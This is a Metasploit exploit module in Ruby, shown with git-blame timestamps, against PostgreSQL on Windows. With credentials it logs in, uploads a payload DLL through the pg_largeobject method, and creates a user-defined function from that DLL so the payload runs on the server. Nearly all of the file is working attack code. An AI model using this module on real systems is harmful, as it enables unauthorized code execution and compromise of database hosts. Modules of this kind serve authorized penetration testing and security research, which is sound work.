2011-03-23 19:36:07 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-03-23 19:36:07 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Postgres
|
2012-12-22 06:30:09 +00:00
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Exploit::EXE
|
|
|
|
include Msf::Exploit::FileDropper
|
2011-03-23 19:36:07 +00:00
|
|
|
|
|
|
|
# Creates an instance of this module.
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'PostgreSQL for Microsoft Windows Payload Execution',
|
|
|
|
'Description' => %q{
|
2012-12-22 06:30:09 +00:00
|
|
|
On default Microsoft Windows installations of PostgreSQL the postgres
|
|
|
|
service account may write to the current directory (which is usually
|
|
|
|
"C:\Program Files\PostgreSQL\<version>\data" where <version> is the
|
|
|
|
major.minor version of PostgreSQL). UDF DLL's may be sourced from
|
|
|
|
there as well.
|
2011-03-23 19:36:07 +00:00
|
|
|
|
2012-12-22 06:30:09 +00:00
|
|
|
This module uploads a Windows DLL file via the pg_largeobject method
|
|
|
|
of binary injection and creates a UDF (user defined function) from
|
|
|
|
that DLL. Because the payload is run from DllMain, it does not need to
|
|
|
|
conform to specific Postgres API versions.
|
2011-03-23 19:36:07 +00:00
|
|
|
},
|
2011-10-17 03:49:49 +00:00
|
|
|
'Author' =>
|
2011-03-23 19:36:07 +00:00
|
|
|
[
|
2011-10-17 03:49:49 +00:00
|
|
|
'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the postgresql udf libraries
|
2011-03-23 19:36:07 +00:00
|
|
|
'todb' # this Metasploit module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
2012-12-22 06:30:09 +00:00
|
|
|
[ 'URL', 'http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf', ],
|
|
|
|
[ 'URL', 'http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' ], # A litte more specific to PostgreSQL
|
2011-03-23 19:36:07 +00:00
|
|
|
],
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
2012-12-22 06:30:09 +00:00
|
|
|
[
|
|
|
|
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
|
|
|
[ 'Windows x86_64', { 'Arch' => ARCH_X86_64 } ],
|
|
|
|
],
|
2011-03-23 19:36:07 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Apr 10 2009' # Date of Bernardo's BH Europe paper.
|
|
|
|
))
|
|
|
|
|
|
|
|
deregister_options('SQL', 'RETURN_ROWSET')
|
|
|
|
end
|
|
|
|
|
2012-12-22 06:30:09 +00:00
|
|
|
def check
|
|
|
|
version = postgres_fingerprint
|
2011-03-23 19:36:07 +00:00
|
|
|
|
2012-12-22 06:30:09 +00:00
|
|
|
if version[:auth]
|
|
|
|
print_status "Authentication successful. Version: #{version}"
|
|
|
|
return CheckCode::Vulnerable
|
|
|
|
else
|
|
|
|
print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
|
|
|
|
return CheckCode::Safe
|
|
|
|
end
|
2011-03-23 19:36:07 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2012-12-22 06:30:09 +00:00
|
|
|
version = do_login(username,password,database)
|
2011-03-23 19:36:07 +00:00
|
|
|
case version
|
2012-12-22 06:30:09 +00:00
|
|
|
when :noauth; print_error "Authentication failed."; return
|
|
|
|
when :noconn; print_error "Connection failed."; return
|
|
|
|
else
|
|
|
|
print_status("#{rhost}:#{rport} - #{version}")
|
2011-03-23 19:36:07 +00:00
|
|
|
end
|
2012-12-22 06:30:09 +00:00
|
|
|
|
|
|
|
fname = "#{Rex::Text.rand_text_alpha(8)}.dll"
|
|
|
|
register_files_for_cleanup(fname)
|
|
|
|
|
|
|
|
unless postgres_upload_binary_data(generate_payload_dll, fname)
|
2011-03-23 19:36:07 +00:00
|
|
|
print_error "Could not upload the UDF DLL"
|
2011-10-17 03:49:49 +00:00
|
|
|
return
|
2011-03-23 19:36:07 +00:00
|
|
|
end
|
2012-12-22 06:30:09 +00:00
|
|
|
|
|
|
|
print_status "Uploaded as #{fname}"
|
|
|
|
begin
|
|
|
|
func_name = Rex::Text.rand_text_alpha(10)
|
|
|
|
postgres_query(
|
|
|
|
"create or replace function pg_temp.#{func_name}()"+
|
|
|
|
" returns void as '#{fname}','#{func_name}'"+
|
|
|
|
" language c strict immutable"
|
|
|
|
)
|
|
|
|
rescue RuntimeError => e
|
|
|
|
print_error "Failed to create UDF function: #{e.class}: #{e}"
|
2011-03-23 19:36:07 +00:00
|
|
|
end
|
|
|
|
postgres_logout if @postgres_conn
|
|
|
|
|
|
|
|
end
|
|
|
|
|
2012-12-22 06:30:09 +00:00
|
|
|
# Authenticate to the postgres server.
|
|
|
|
#
|
|
|
|
# Returns the version from #postgres_fingerprint
|
|
|
|
def do_login(user=nil,pass=nil,database=nil)
|
2011-03-23 19:36:07 +00:00
|
|
|
begin
|
|
|
|
password = pass || postgres_password
|
2012-12-22 06:30:09 +00:00
|
|
|
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
|
2011-03-23 19:36:07 +00:00
|
|
|
result = postgres_fingerprint(
|
|
|
|
:db => database,
|
|
|
|
:username => user,
|
|
|
|
:password => password
|
|
|
|
)
|
|
|
|
if result[:auth]
|
2012-12-22 06:30:09 +00:00
|
|
|
report_service(
|
|
|
|
:host => rhost,
|
|
|
|
:port => rport,
|
|
|
|
:name => "postgres",
|
|
|
|
:info => result.values.first
|
|
|
|
)
|
|
|
|
return result[:auth]
|
2011-03-23 19:36:07 +00:00
|
|
|
else
|
2012-12-22 06:30:09 +00:00
|
|
|
print_status("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
|
2011-03-23 19:36:07 +00:00
|
|
|
return :noauth
|
|
|
|
end
|
2012-12-22 06:30:09 +00:00
|
|
|
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
|
2011-03-23 19:36:07 +00:00
|
|
|
return :noconn
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2012-12-22 06:30:09 +00:00
|
|
|
|
2011-03-23 19:36:07 +00:00
|
|
|
end
|